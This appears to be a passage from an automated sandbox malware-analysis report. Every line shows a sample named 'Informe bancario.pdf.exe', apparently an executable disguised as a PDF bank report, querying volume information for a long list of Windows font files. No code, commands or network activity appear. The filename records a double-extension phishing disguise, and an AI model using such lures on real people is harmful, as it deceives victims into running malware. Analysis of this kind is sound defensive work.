Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
